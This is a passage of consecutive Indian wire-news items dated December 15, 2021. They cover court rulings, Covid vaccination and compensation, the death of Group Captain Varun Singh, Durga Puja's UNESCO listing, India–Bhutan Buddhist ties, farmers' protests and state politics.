(Forensic Science Laboratory) reports are inconclusive, creates a great shadow of doubt on the genuineness of the said recovery", said Justice Gavai, who authored the judgment on behalf of the bench. "The trial court and the high vourt were expected to exercise a greater degree of scrutiny, care and circumspection while directing the accused to be hanged till death," he said. Six people were brutally killed on January 23, 2014 - Momin Khan's father Mausam Khan, mother Asgari, brother Shaukeen Khan, sister-in-law Shanno, nephew Samad, and niece Muskan - and he was accused of their murder following a property dispute. The accused challenged the Allahabad High Court's May 18, 2018 judgment, confirmed the judgment of the trial court passed on January 11, 2016. New Delhi, Dec 15 : Delhi Police Commissioner Rakesh Asthana on Wednesday said that a strong legal foundation is very significant for securing conviction in any case. "70% of our battle in investigation is fought in the court of law and strong legal foundation is very significant for securing conviction in any case," the Delhi Police chief said as a Memorandum of Understanding (MoU) was signed between the Delhi Police and the National Law University (NLU) to evolve and impart comprehensive legal education at all levels of basic police training. Keeping this in mind, Asthana said, investigation has been separated from other law and order duties and a separate wing has been dedicated for this at the police station level. The Commissioner commended the contribution of NLU and further wished that this collaboration will strengthen Delhi Police's resolve to serve its citizenry more effectively by means of more professional investigation and securing convictions for criminals. Delhi Police PRO Chinmoy Biswal informed that the NLU faculty will undertake courses on the Constitution of India, Code of Criminal Procedure, Indian Evidence Act, Indian Penal Code and important Minor Acts like POCSO, Arms Act, JJ Act, NDPS Act, I.T. Act, MCOCA etc. Besides designing basic legal training for DANIPS officers and Sub Inspectors, NLU will also conduct promotion courses for ASIs/SIs and Refresher courses for in-service officers. E-learning modules have also been designed on relevant law related subjects. The partnership between Delhi Police and NLU aims to disseminate legal knowledge and processes among police personnel and to make them aware about their role in national development through short-term courses, lectures, seminars, workshops and conferences. The Vice Chancellor, NLU, Prof Srikrishna Deva Rao said NLU is entering into a mutually beneficial collaboration with the most professional police organisation of the country and it is a matter of pride for NLU to impart law education to police officers of the national capital. It will be a dialogic engagement with Delhi police whereby both will learn from each other, he said. The National Law University, Delhi is located in Dwarka and is one of the most prestigious national law schools of the country. Established in 2008, it is offering academic courses at the undergraduate and postgraduate levels. Bengaluru, Dec 15 : My son will remain a great inspiration, said retd Col K.P. Singh, father of Group Captain Varun Singh, the lone survivor in the December 8 helicopter crash who succumbed to his injuries on Wednesday at the IAF's Command Hospital in Bengaluru. Family sources said the mortal remains of Varun Singh would be flown to Bhopal on Thursday, and final rights would be conducted on Friday. Interacting with IANS, K.P. Singh said: "Varun was a fighter. He was a great man and an inspiration. He will remain a great inspiration. He was a very good son, brother, husband and father. He was highly dedicated to his service." India's first Chief of Defence Staff, Gen Bipin Rawat and 12 others had died in the December 8 tragedy that shook the nation. K.P. Singh maintained that Varun was a braveheart from his childhood and cleared the National Defence Academy exams in the first attempt. "Varun was a premature baby. The doctors had left hope on him. He always insisted on never giving up in life." Karnataka Chief Minister Basavaraj Bommai, in his condolence message, said: "I am extremely saddened at the death of Group Captain Varun Singh. The nation has lost a brave soldier in his death. Captain Varun Singh was seriously injured in the helicopter crash that claimed the life of Chief of Defence Staff Gen Bipin Rawat. He was being treated at the Command Hospital in Bengaluru. I convey my deep condolences to his family. I pray to the almighty to give strength to his family members to bear this loss. Om Shanthi." Varun Singh was kept on life support and his condition was critical. He was flown to HAL airport in Bengaluru from Military hospital at Wellington of Nilgiris district in Tamil Nadu last Thursday. The Indian Air Force (IAF) on Twitter stated: "IAF is deeply saddened to inform the passing away of brave heart Group Captain Varun Singh, who succumbed this morning to injuries sustained in the helicopter accident on December 8, 2021. IAF offers sincere condolences and stands firmly with the bereaved family." Varun Singh had suffered severe burn injuries. Initially, doctors had said that he is responding well to the treatment. Bommai and Governor Thawar Chand Gehlot had visited Varun Singh at the Command Hospital last Thursday night. London, Dec 15 : West African nations need to drastically ramp up their Covid-19 vaccination programmes by factor of 10 if they are to reach at least 60 per cent coverage by 2022 and achieve the population level immunity needed to bring the pandemic under control in Africa and elsewhere, a team of international researchers have written in BMJ Global Health. In August 2020, the African Union Bureau of Heads of State and Government endorsed the Covid-19 Vaccine Development and Access Strategy to vaccinate at least 60 per cent of each country's population with a safe and effective vaccine by 2022. But despite the recent sharing of surplus vaccines by wealthy countries, as of mid September 2021, just 3 per cent of people in Africa had had at least one dose of a Covid-19 vaccine compared with around 60 per cent of people in high income countries. Such glaring inequity risks the emergence of mutant strains that could undermine the effectiveness of the existing vaccines, warned the researchers including from London School of Hygiene and Tropical Medicine, and University of Siena, Italy and others. Accordion to them, the relatively low numbers of confirmed Covid-19 cases and deaths in west Africa, compared with other parts of the continent, seems to have created a false sense of security, resulting in widespread vaccine hesitancy and low uptake of the Covid-19 jab. In addition, limited storage and delivery capacity, insufficient staffing, and poor health infrastructure have also likely played their part in hindering more widespread uptake. To forecast the likely levels of coverage by 2022 in the 15 countries that comprise the Economic Community of West Africa States (ECOWAS), the researchers analysed Covid-19 vaccine uptake 3 months after the start of vaccination roll-out, drawing on publicly available, country-level population estimates, and vaccination data. ECOWAS comprises Benin, Burkina Faso, Cape Verde, Cote d'Ivoire, The Gambia, Ghana, Guinea, Guinea Bissau, Liberia, Mali, Niger, Nigeria, Senegal, Sierra Leone, and Togo. It accounts for 410 million people, or about 5 per cent of the world's population. When the researchers looked at coverage after 3 months of the vaccination programme roll-out in the 15-member bloc, they found that only 0.27 per cent of its total population had been double jabbed. On the basis of these trends, less than 1.6 per cent of the total population across ECOWAS will have been fully (double) vaccinated after 18 months of the Covid-19 vaccination roll-out, estimate the researchers. And to achieve coverage of 50 per cent, 60 per cent, and 70 per cent after 9, 12, and 18 months of roll-out, respectively, the pace of vaccination would need to increase by 10, 7, and 4 times the current speeds, they calculate. National governments and partners need to adopt culturally acceptable, community-led strategies to implement effective messaging that highlights the pros and cons of vaccination, and dispels the myths and misconceptions surrounding the jab, they suggest. "Given that public trust, confidence, and acceptance of vaccinations can be enhanced if clinical trials that demonstrate a vaccine's efficacy and safety are undertaken locally, the calls for the conduct of more clinical trials and local manufacturing of Covid-19 vaccines in the west African sub-region remain strident and critically germane," they noted. Latest updates on Coronavirus (COVID-19) New Delhi, Dec 15 : The Supreme Court on Wednesday expressed its dissatisfaction over the abysmal low disbursement of ex-gratia compensation by Maharashtra government to the families who lost a loved one to Covid-19, while appreciating the Gujarat government's approach for giving wide publicity relating to disbursal of the compensation. A bench of Justices M.R. Shah and B.V. Nagarathna noted that Maharashtra, which has recorded 1.41 lakh deaths so far, has received 85,000 applications seeking compensation, but 1,658 claims have been allowed and payment has been made till December 9. "It is very unfortunate that out of 85,000 applications, only 1658 have been paid ex-gratia," it said. The top court directed the state governments to make ex-gratia payment of Rs 50,000, approved and actual payment, to all applicants who had filed application within a period of 10 days. The bench said it will see the compliance with its order on the next date of hearing. The Supreme Court also appreciated the Gujarat government for giving wide publicity relating to disbursal of the ex-gratia compensation to the family of the Covid victims in compliance with its earlier orders. On December 13, the top court took exception to the Gujarat government's failure to give adequate publicity -- through print and electronic media -- to the Covid compensation scheme, and directed it to take steps immediately. It now also observed that Gujarat's advertising model, about the Covid compensation scheme, could be followed by other states and asked Additional Solicitor General Aishwarya Bhati to circulate the specimen of Gujarat's advertisements among the counsel of other state governments. In a note, the Gujarat government told the top court that as on date 40,467 applications have been accepted wherein sanction orders have been passed in 26,836 applications and payments have been made in case of 23,848 applications through Direct Benefit Transfer (DBT). The note added, "the State of Gujarat has published an advertisement of approximately a quarter page on 14th of December, 2021 in 97 newspapers circulated across the state in the regional language, which covers all 33 districts of the state. Additionally, Gujarat Information Department has directed publications of these advertisements once again on 15th December, 2021". On December 13, the Supreme Court on Monday pulled up the Gujarat and Maharashtra governments on various issues associated with Covid compensation scheme, during the hearing in a matter where it is monitoring disbursal of Rs 50,000 to the kin of those who succumbed to the disease. The top court made these observations on a plea filed by advocate Gaurav Kumar Bansal. The Supreme Court in its October 4 judgment, had approved Rs 50,000, ex-gratia for the kin of Covid victims, which was recommended by the National Disaster Management Authority. Previously, the top court had issued notice to several states over the abysmally low disbursal rate of Covid compensation. Latest updates on Coronavirus (COVID-19) Amaravati, Dec 15 : The Andhra Pradesh High Court on Wednesday allowed farmers of Amaravati region to organise a public meeting in Tirupati on December 17. The court gave the permission for the meeting subject to certain conditions. The organisers were directed to hold the meeting from 1 p.m. to 6 p.m. and follow Covid-19 protocol. The court order came a day after the mega foot march by farmers and women of Amaravati to demand that Amaravati be retained as the only state capital concluded in Tirupati. After covering 450 km in 44 days, the 'Mahapadyatra' from Amaravati to Tirupati ended at Alipiri, the foothills of Sri Venkateswara temple. The Amaravati Parirakshana Samithi and Amaravati Joint Action Committee wanted to organise the public meeting at the end of the 'Mahapadyatra' but Chittoor district police denied the permission. Following this, they approached the High Court. The counsel on behalf of petitioners argued that the foot march concluded smoothly without any law and order problems The government submitted to the court that if the public meeting was allowed, it could lead to clashes on regional lines. It brought to court's notice certain video clips of farmers allegedly attacking police during the 'Mahapadyatra'. The court rejected the arguments of the government and allowed the farmers to conduct the meeting. The organisers were directed to avoid making comments which could lead to law and order problems. Rayalaseema Hakkula Sadhana Samithi, a group fighting for the rights of Rayalaseema region, wanted to organise a public meeting the same day but the court made it clear that two meeting can't be allowed the same day and suggested it to hold the meeting on some other day. Chittoor is part of Rayalaseema region. As per the decision of the YSR Congress Party (YSRCP) government in 2019, the state will have three state capitals. It proposes to develop Kurnool in Rayalaseema as the judicial capital and Visakhapatnam in north coastal Andhra as administrative capital while Amaravati will be retained only as the legislative capital. Farmers of 29 villages of Amaravati region, who had given 33,000 acres of land for development of the state capital when Telugu Desam Party (TDP) was in power, have been protesting against the government move for more than 700 days. They want Amaravati to be developed as the only state capital. Kolkata, Dec 15 : In a major appreciation for the biggest festival in the Bengali calendar, the UNESCO has added Durga Puja to its 'Representative List of Intangible Cultural Heritage of Humanity', a first of its kind in Asia. In a tweet, the UN body wrote: "Celebrations of city of joy - Kolkata! Durga puja has been added to the Representative List of Intangible Cultural Heritage of Humanity." The 16th Committee of UNESCO for safeguarding of the Intangible Cultural Heritage (ICH) at its meeting held in Paris on Wednesday inscribed Durga Puja in Kolkata on the Representative List of Intangible Cultural Heritage (ICH) of Humanity. It is the first festival in Asia to make it to the list of ICH of Humanity. There were altogether 48 nominations which had been submitted for inscription on the list. The nominations were reviewed by an evaluation body which made recommendations to the Committee for its decision. The body comprised six ICH experts. The Committee approved the decision of the inscription of Durga Puja in Kolkata on the list. UNESCO also commended the concerned organisations in Kolkata for their initiatives to involve marginalised groups and individuals as well as women in their participation in safeguarding the intangible cultural heritage. The other festivals/carnivals which have been recognised as UNESCO Intangible Cultural Heritage of Humanity are three each from South America and Europe. The inclusion of Durga Puja in the list underlines the importance of the festival in the public life of Bengalis, and the efforts made by the government of West Bengal to highlight the cultural richness of Bengal in this prism to the international community, involving people from all faiths and communities. The Durga Puja carnival organised at the end of the festivities on the Red Road in Kolkata is a unique event and only of its kind in the country. It attracts people from all walks of life who collectively celebrate the rich and diverse culture of Bengal epitomised in the Durga Puja festival. In a press release, the state government said, "We are proud of our Durga Puja and it is our proud and historic moment. It is a red-letter day for us. Bengal is now 'Biswa Bangla' in a real sense. Congratulations to all the people of Bengal, the country and the world. We convey our thanks and gratitude to UNESCO for the recognition bestowed on this great festival as Intangible Cultural Heritage of Humanity." New Delhi, Dec 15 : Earlier this year, Chinese encroachment into Bhutanese territory in the form of four civilian village settlements was reported. These territorial excesses, characteristic of a Chinese disregard for sovereignty of countries in its borderlands, have been going on for years, but only recently have they come under international notice. For Bhutan, a small Himalayan kingdom wedged between two Asian superpowers, navigating global geopolitics is not an easy task. Tensions run high at the India-China border, and Bhutan finds itself in the complicated position of safeguarding its interests while balancing between its two big neighbours. As far as India is concerned, Bhutan is one of its few unproblematic friends in the neighbourhood with whom it enjoys mutual trust and encourages cooperation. From China's point-of-view, undermining Bhutanese territory equals challenging India in its own neighbourhood. Xi Jinping has been vocal about pushing into new frontiers around the Tibetan borderlands, and the CCP has a new weapon under its belt to accomplish this -- Buddhism. Over 75 per cent of the Bhutanese population is Buddhist. Although heavily influenced by Tibetan culture and practices, the strand of Vajrayana Buddhism (which is the state religion) of Bhutan finds the greatest connection to and influence from 8th century Indian precepts. Buddhism finds echo in Bhutan's domestic as well as its foreign policy. The kingdom held its first elections in 2007 and the following year it became a constitutional monarchy guided by Buddhism. The Constitution is based on values derived from Buddhist philosophy, the International Convention of Human Rights and inspired by a comparative analysis of 20 other modern constitutions. Buddhism also guides the famous development philosophy of Gross National Happiness (GNH). In 1972, the IV Druk Gyalpo (title of the Bhutanese king) made the famous declaration, "Gross National Happiness is more important than Gross National Product". Since then, the idea of GNH -- that a country's wealth is holistic and not simply material -- has put Bhutan on the world map. At the 2021 Seoul International Buddhism Expo, Bhutan was the guest country with an exhibition titled The Happiest Buddhist Kingdom in the World. Naturally, GNH has attracted considerable attention from the international community, and University of Maryland's Jessica Locke says it is because this philosophy "directly challenges the dogmatism of conventional capitalist thinking. GNH offers a refreshing alternative to the popular assumption that increasing national wealth is, independent of any other metrics, a social good." As part of other modernizing initiatives, Bhutan's royal family has actively advocated for democracy. When the constitution was ratified in 2008, the Druk Gyalpo actively toured the country to garner support for democracy, going as far as to say that absolute monarchy was not suited to the needs of the 21st century. By adapting the tenets of Buddhism to the needs of modern society, Bhutan has successfully managed to retain its culture in the face of globalized, one-size-fits-all modernity. The centrality of India in Buddhist history gives India and Bhutan a free-access cultural pass to each other. Earlier this month, a delegation from Bhutan visited Nalanda University in Bihar as part of a summit organized by Indian Council of Cultural Relations (ICCR). The symbolic significance of this visit is immense as the ancient Nalanda University (after which the new one is modelled) was a Buddhist monastic centre of learning and one of the first residential universities in the world. In 2018, on the occasion of the completion of 50 years of diplomatic ties between India and Bhutan, the Queen Mother of Bhutan remarkedthat Buddhism was India's greatest gift to the Bhutanese people. She also said, "Following the arrival of Buddhism, great Buddhist masters from India, most notably Guru Padmasambhava travelled to Bhutan. The teachings of Lord Buddha and Guru Padmasambhava continue to influence the lives of every Bhutanese", referring to the 8th century Indian sage who is considered the founder of Tibetan Buddhism. In fact, a conference in the sage's honour was organized in Delhi in 2019 and it was attended by experts from Nepal, Bhutan and other Buddhist regions besides India. A statue of Buddha was alsogifted to Bhutan by India in 2019 to honour the birth anniversary of Guru Rinpoche (another name for Guru Padmasambhava). Indian Prime Minister Narendra Modi chose Bhutan for his first official state visit as PM in 2014, signalling the Himalayan kingdom's importance in his 'Neighbourhood-First' policy. India is Bhutan's largest trading partner and also the most favoured destination for Bhutanese students. According to the Indian Ministry of External Affairs, a number of Bhutanese pilgrims travel to the holy Buddhists sites (Bodh Gaya, Sarnath, Kushinagar, Sravasti, Rajgir, Sankasia, Vaishali) in India. In recent years, China has been trying to use Buddhism to gain ground in South Asia and other parts of the world. Its efforts are aimed at projecting itself as a leader in the Buddhist world, in pursuit of two possible objectives -- undermining India's role in Buddhist's history and inserting itself in the Buddhist narrative to gain tourism and cultural linkages. China has attempted to propel Lumbini in Nepal (the one Buddhist holy site that is not in India) to the forefront by investing heavily in infrastructure there. Even though Bhutan's northern borders with the Tibetan Autonomous Region (PRC governed TAR) have been closed since 1959 (as opposed to the southern borders which are open for free trade and movement to and from India), China has managed to annexe territory and settle villages in the Bhutanese highlands. China is also propagating the mythological conception of Zhangzhung in the western TAR as a historical fact. Some argue that this is a strategy to historically alienate Tibet and Bhutan from India by providing a counter-narrative to the existing claims that situate India as the cultural and religious origin of present Tibet. There is a view that the Indian establishment should counter the emerging Chinese influence in Bhutan. However, the fact of the matter is that the average Bhutanese sees India as the holy land of Buddha's enlightenment and not the Asian giant that is its neighbour. The geographical inclination of Bhutan towards India was solidified when it lost the link to Tibet as the other holy land, as well as the main trading partner, before the 1950s. According to Karma Uru, President of the Centre for Bhutan Studies in Thimphu, "India is still regarded as the origin of Buddhist knowledge and literature, translated and transferred to Tibet and Bhutan. Indo-centric Buddhist practices including Kashmiri and Bengali tantrism continue in remote sites in Bhutan, while they have become relatively eclipsed in India." The path of Buddhist outreach is already laid-out in Bhutan, it is time perhaps India should rediscover it. Beijing, Dec 15 : While after months of struggle the Covax programme -- the international vaccine scheme -- has started picking up pace, the fast spread of Omicron to about 77 countries is posing a threat to it. According to the World Health Organization, more than 80 per cent of the world's vaccines had gone to wealthy Group of 20 countries, as of late November, while low-income countries had received just 0.6 per cent of all doses. About 41 countries have still not been able to vaccinate 10 per cent of their populations, and 98 countries have not reached 40 per cent yet. The Covax facility launched in 2020 to help the most vulnerable populations in all countries to get vaccinated has struggled to meet its promises and left the poor countries scrambling for doses for months. So far, Covax has delivered 693 million vaccine doses, and expects to hit between 800 million and 1 billion by the end of the year. But even those figures, if reached, would be half of the original 2 billion target, the South China Morning Post reported. Covax was held back at first by the time it took to raise funds, before it could cut deals with the manufacturers, pushing it back in line, and then by delays as countries bought excess doses and waited to share them, Aurelia Nguyen, Managing Director of the Covax Facility, was quoted as saying by the report. Covax is a partnership between the WHO, the Coalition for Epidemic Preparedness Innovations (CEPI), and GAVI, the Vaccine Alliance. "Right now, we need to avoid a type of scenario which would be 'vaccine nationalism 2.0'," Nguyen said. She said as supply bottlenecks are easing with the relaxing of export controls, an influx of dose donations, and deliveries from manufacturers, the officials are concerned that the existing vaccines or their courses need to be revised due to the highly mutated Omicron variant. Nguyen said that it is essential to maintain "sustainable, regular supply" in the coming year, come what may. "From our perspective, what's most important is that as and when we see that there would be an Omicron-adapted vaccine, we are able to switch our supply onto the new vaccine very rapidly, at least as rapidly as other countries which have bilateral contracts with the manufacturers," she noted. Further, Covax's existing contracts with vaccine manufacturers granted access to variant-specific versions of most of the vaccines in their portfolio -- if they are needed. But it would be critical to prevent a "replay" of earlier issues that hampered Covax getting doses for needy countries, the report said. "We are reliant on countries remaining committed to making sure that vaccines are made available globally at the same time. We are reliant on the manufacturers being transparent and being fair in how they use the supply that they have," she said. -- The story has been published from a wire feed without any modifications to the text New Delhi, Dec 15 : The Delhi Police on Wednesday paved the way for vehicles to ply through the Singhu border that had remained shut for over the past one year due to the farmers' agitation. On Tuesday, the police completely dismantled the barricades, erected a year ago to prevent the farmers coming to the national capital. The development comes after the Samyukt Kisan Morcha (SKM), an umbrella organisation of farmer bodies, suspended the agitation after the Union government repealed the three farm laws and conceded its other demands. Subsequently the farmers started vacating the Delhi borders where they have been stationed for more than a year. The farmers have now dismantled their settlements, removed tarpaulins, tied bales of clothes and are in the process of returning home.The Singhu border, which has remained the hotspot of the protests since the past one year, is almost cleared now. "All the concrete barriers and other obstacles have been cleared from the border," a police official said. The traffic, from both sides, could be finally seen plying along the northern border of the national capital. Earlier in the day, famers camping at the Ghazipur border too vacated the place. Bharatiya Kisan Union (BKU) national spokesperson Rakesh Tikait was present on the occasion. Before leaving, the farmers held a 'havan' (a Hindu religious ritual) and expressed gratitude to all who stood with them in solidarity with the farm movement. Tikait, along with other farmers, will reach their home in Sauram, via Sisauli, Modinagar, Meerut, Daurala Toll Plaza and Mansurpur, celebrating their victory. "I want to thank everyone, and particularly those who organised langars at the border," said Tikait while speaking to the mediapersons.He said, the agitation has been suspended, but has not ended. Bhubaneswar, Dec 15 : The Odisha government on Wednesday appointed senior IPS officer Sunil Kumar Bansal as the new Director General of Police (DGP) of the state. Bansal, a 1987 batch IPS officer, is currently under central deputation and serving as the Special Director Intelligence Bureau (IB) in Delhi. On the recommendation of the Union Public Service Commission (UPSC) and in the interest of public service, Bansal is appointed as DGP, Odisha for a period of two years with effect from the date of joining in the post, the Odisha government's home department said in a notification. He will replace the incumbent DGP Abhay. The DGP in his Twitter account has welcomed the appointment of Bansal as DGP Odisha and said he looks forward to his leadership. Abhay, a 1986-batch IPS was appointed as DGP in November 2019, and is scheduled to retire from the services in June this year. However, the state government had extended the tenure of Abhay for another six month to comply with the directive of the Supreme Court, which mandated that the tenure of the state DGP should be at least two years. Meanwhile, Chief Minister Naveen Patnaik on Wednesday announced to set up a special crime investigation unit to control crime in the Bhubaneswar and Cuttack Commissionerate Police area. The unit would investigate crimes related to organised crimes, economic offences and narcotic related offences. The special unit will be headed by a DCP, said the CMO in a statement. In addition to it, the Chief Minister also sanctioned upgradation of three police outposts to police stations in the Commissioner Police area. The outposts at Pahal, Info Valley and Bayalish Mouza/ Bentakar will be strengthened and upgraded to police stations, the statement said. New Delhi, Dec 15 : Bharatiya Janata Party MP from Uttar Pradesh Shiv Pratap Shukla while speaking during the short duration discussion on the Covid Omicron situation, compared the opposition to Omicron. Shukla, an ex Union Minister of State, attacked the opposition and said, "we all are discussing Omicron but it is standing in the Well" in a jibe at the opposition MPs. "Those who are not allowing Parliament to function are like Omicron, there is a danger to democracy in Parliament because of these Omicrons..." Manoj Kumar Jha of the RJD objected but Shukla did not stop, continued his speech and attacked the opposition for misguiding people on vaccines. Later parliamentary affairs minister Pralhad Joshi said that the opposition demanded a discussion but ran away. Leader of the House Piyush Goyal, after the House resumed, said the suspended MPs should apologize. After attacking marshals and misbehaving with the female marshals and senior opposition members they are not repenting for their conduct. "The government is ready to consider their request but they should apologize," he added. Leader of the Opposition Mallikarjun Kharge said, "we are requesting you that the crime which we have not done is put on us." Kharge alleged that the House is being misled about the incident. During the short discussion on Covid, the opposition demanded that the suspended MPs should be brought to the House after the revocation of their suspension. The Rajya Sabha on Wednesday witnessed disruption over the suspension issue. The opposition MPs held placards and walked to the Well of the House and raised slogans during Question Hour and the short duration discussion. Earlier, as the proceedings started the Opposition members demanded that their notices be accepted, but it was rejected by the Chair as also the revocation of the suspension of the MPs. Belagavi, : Dec 15 (IANS) Basavaraj Horatti, the Chairperson of Karnataka Legislative Council, on Wednesday suspended 14 members belonging to the Congress from the Council for one day after they staged a protest in the well of the House demanding the sacking of ruling BJP Minister for Urban Development, Byrathi Basavaraj. The Congress members resorted to protest after the Chairperson denied permission for discussion on the matter related to the recent local court order to lodge FIR against Byrathi Basavaraj in connection with a civil dispute case. The Congress members displayed posters which stated called the ruling BJP '420 government'. They also raised slogans against the state government and demanded that they should be allowed to discuss the matter in the Assembly and the state government should assure action against Byrathi Basavaraj. Minister for Housing, V. Somanna, stated that it is not possible to discuss the matter as it is lying with the court. Health Minister K. Sudhakar said the case has been going on for 13 years and all these days Congress was quiet on the issue, and the members of Congress worked with him till he joined the BJP. However, the Congress members continued their protest. After issuing a series of warnings, Horatti announced the suspension of 14 Congress members. Accordingly, Opposition leader in the Council S.R. Patil, MLCs N. Narayanaswamy, P.R. Ramesh, B.K. Hariprasad, Pratap Chandra Shetty, U.B. Venkatesh, Veena Achaiah, C.M. Ibrahim, Harish Kumar, Nazir Ahmad, R.B. Timmapur, Basavaraj Patil Itagi, V.R. Ramesh and Gopalaswamy were suspended for a day. However, Congress MLC Narayanaswamy maintained that the court orders are against Byrathi Basavaraj. "It is not about faking documents, the minister had faked the owner. We are suspended for questioning that. It is a Rs 300 crore fraud. The protest will continue on Thursday as well. Chief Minister Basavaraj Bommai should sack him (Byrathi)," he said. Senior Congress leader C.M. Ibrahim said that suspending Congress members was not a correct decision. "The Chairperson is a senior politician and we will apologise for what happened. The court is saying that the minister is a criminal. They should have assured action against him, the matter would have ended there," he maintained. Congress MLC B.K. Hariprasad said that they had not shown disrespect to the Chair. "We just asked for our right to discuss. I don't understand why we were suspended," he said. New Delhi, Dec 15 : The Enforcement Directorate (ED) on Wednesday said it has seized over Rs 51 crore lying in the bank accounts and virtual accounts of PC Financial Service Private Limited -- a Non-Banking Financial Company (NBFC), under the provisions of Foreign Exchange Management Act (FEMA). With this, the total seizure in this case has reached Rs 288 crore. The ED had lodged a case against NBFC and Fintech companies. These companies used to provide micro loans to the common people through mobile app. It was found that they allegedly extorted high rare of interest by using the personal data of the customers illegally. The victims allegedly received threat calls from these companies. An ED official said that the companies were running call centre through which they would call and harass the victim to get money. Initially, a case of money laundering was lodged. Later, during the course of investigation the ED also initiated investigation under FEMA against PC Financial Services Private Limited (PCFS). An ED official said that PCFS used to provide micro loans to the customers through Cashbean, a mobile app for suspicious foreign outward remittances. "PCFS is a wholly owned subsidiary (WOS) of Oplay Digital Services, SA de CV, Mexico, which is inturn a WOS of Ms TenspotPesa Limited, Hong Kong which is owned by Ms Opera Limited (Cayman Islands) and Ms Wisdom Connection I Holding Inc (Cayman Islands), which are ultimately beneficially owned by Chinese National Zhou Yahui," said an ED official. The original Indian Company PCFS was incorporated in 1995 by Indian nationals and got NBFC license in 2002 and after RBI approval in 2018, the ownership moved to the Chinese controlled company. Investigation further revealed that the foreign parent companies of PCFS brought in FDI worth Rs 173 Crore for lending business and within a short span of time, made foreign outward remittances worth Rs 429.29 crore in the name of payments for software services received from related foreign companies. Based on the ED investigation, the RBI and the IT Department have also initiated enquiry against the said NBFC. New Delhi, Dec 15 : Delhi Police have failed to file a chargesheet even after nearly nine months of their investigation into the Navneet Kalra case of alleged black marketing of oxygen concentrators during the second wave of the Covid-19 pandemic. The irony is, the country is currently staring at a possible third wave of the pandemic, and an accused in such an 'inhumane crime' during the pandemic is yet to get a closure in the case. Kalra, a high-profile Delhi-based businessman, was accused of hoarding oxygen cylinders in Khan Market and selling them at high prices amid the devastating second of the Covid-19 pandemic. "Currently, we don't have any update in the case," said a source in the Delhi Police as IANS enquired about the chargesheet. In May 2021, when the second wave struck the country, Kalra remained the talk of town for over two months. During multiple raids, the Delhi Police had recovered a total of 524 oxygen concentrators from three restaurants -- Khan Chacha, Town Hall, and Nege & Ju. Khan Chacha is known for its melt-in-the mouth kebabs, while Town Hall specialises in pan Asian cuisine. The officials said that the concentrators recovered from there were being sold in the black market. Sources said the oxygen concentrators were being imported from China since October 2020 for as low as Rs 12,000 to Rs 20,000 and were being sold via online portals and WhatsApp for Rs 50,000 to Rs 70,000. All the aforementioned restaurants were owned by Navneet Kalra. On May 5, a case was registered against Kalra under Sections 420 (cheating), 188 (disobedience to order duly promulgated by public servant), 120-B (criminal conspiracy) and 34 (common intention) of the Indian Penal Code, as well as the Essential Commodities Act and Epidemic Diseases Act. As the probe widened, Kalra was arrested by the Delhi Police on May 17 from his brother-in-law's farmhouse in Gurugram, and then remanded to three days' police custody. The Enforcement Directorate (ED) too registered a case of money laundering against the accused businessman. Kalra was subsequently granted bail by a Delhi court on May 29, even though the Delhi Police strongly opposed the same in the court. IANS also contacted Kalra's lawyer, enquiring if any chargesheet has been filed by the Delhi Police, to which he said he is not aware of any such development in the case. (Ujwal Jalali can reached at ujwal.j@ians.in) Belagavi, : Dec 15 (IANS) After the humiliating defeat in the Legislative Council polls in Belagavi, the ruling BJP leaders are upset and contemplating strict action against former minister Ramesh Jarakiholi, who lost his cabinet post after an alleged sex CD scandal came to light. Ramesh is accused of helping his brother Lakhan Jarakiholi who contested as an independent candidate in the elections. Former Chief Minister B.S. Yediyurappa on Wednesday stated that the party will probe the defeat of the Bharatiya Janata Party candidate in Belagavi. "The party would look into the issue to know what actually contributed to the defeat of the BJP candidate," he underlined. Sources in the BJP said that Ramesh, who is aspiring to get a cabinet berth, has reached a dead end in the party. The BJP has failed to attain a majority by one seat in the 75-member council. Chief Minister Basavaraj Bommai after learning that matters were going against the party had visited Belagavi twice and publicly called upon Ramesh to ensure the victory of BJP candidate Mahantesh Kavatagi Math. Ramesh had publicly vowed to defeat the Congress candidate Channaraja Hattiholi who is the brother of Belagavi Rural Congress MLA Lakshmi Hebbalkar, his reportedly sworn political enemy. However, Channaraja won handsomely in first preference votes. BJP candidate Kavatagi Math could not make it through in the counting of the second preference votes as well. Belagavi is regarded as the bastion of the BJP. The defeat, despite the party having 13 MLAs, 2 MPs and one Rajya Sabha member from the district, has caused severe embarrassment to it. Ramesh, speaking after the defeat, maintained that things changed in the last three days. "I am being instructed by top leaders of the party and Sangh not to open my mouth on leaders who are responsible for the defeat of the BJP," he said. Opposition leader Siddaramaiah had called out Chief Minister Bommai for initiating action against Ramesh. Reacting to this, Ramesh called Siddaramaiah a 'waste body' who could not win his own assembly seat in the last elections. Siddaramaiah reacted that Ramesh lacked etiquette and he did not want to respond to his attacks on him. Mumbai, Dec 15 : The recovery for the Indian economy is spear-headed by an uptick in private investment through November-December alongside a turnaround in bank credit offtake, the Reserve Bank of India (RBI) said in its monthly bulletin for December. It also said that high capex from the government sector has also aided in the recovery process. "For the Indian economy, the recovery is spear-headed by an uptick in private investment through November-December alongside a turnaround in bank credit offtake and high capex from the government sector (Centre and States)," the bulletin said. "In conjunction, the employment situation has brightened. The outlook remains upbeat, though concerns revolving around the spread of the new Omicron variant are surfacing." The seven-day moving average of daily Covid-19 cases plummeted below 9,000 by the close of November. "After a blip during the festive season in the early part of November, the inoculation has gathered pace, with the seven-day moving average of vaccinations touching 80 lakh per day by end November and crossing the 1-crore mark for the sixth time on December 4, 2021." Furthermore, the RBI, in the bulletin, said that indicators of aggregate demand point to sustained recovery across spheres, but with signs of sequential moderation. "The end of the festive season reflected in moderation in growth momentum of petroleum consumption, led by decline in diesel even as petrol consumption remained above pre pandemic levels and aviation turbine fuel recorded a steady pick-up in November 2021." Hyderabad, Dec 15 : Telangana Chief Minister K. Chandrasekhar Rao appears to be gearing up to take on the Centre and the BJP on various issues. He is likely to discuss and decide a strategy at a crucial meeting of the Telangana Rashtra Samithi (TRS) on Friday. KCR, as the TRS chief is popularly known, will preside over a joint session of the party MPs, state legislators, party executive, and other leaders. The meeting is likely to discuss issues like paddy procurement by the Centre and proposed privatisation of four blocks of Singareni Collieries Company Ltd (SCCL). After staging two rounds of protest including once led by KCR himself last month over the issue of paddy procurement, the TRS is likely to decide on the next phase of protest. The party will discuss the recent developments including the stand taken by the Centre in Parliament, blaming the TRS government for slow progress of paddy procurement during the ongoing Kharif season and the boycott of Parliament session by the TRS. The TRS chief may give direction to the party leaders to step up attacks on the Centre and BJP for misleading the people with "contradictory statements" over the issue of paddy procurement. The TRS leaders say despite the Centre making it clear that it will not procure parboiled rice during the coming Rabi season, the state BJP leaders continue to create confusion among farmers. The 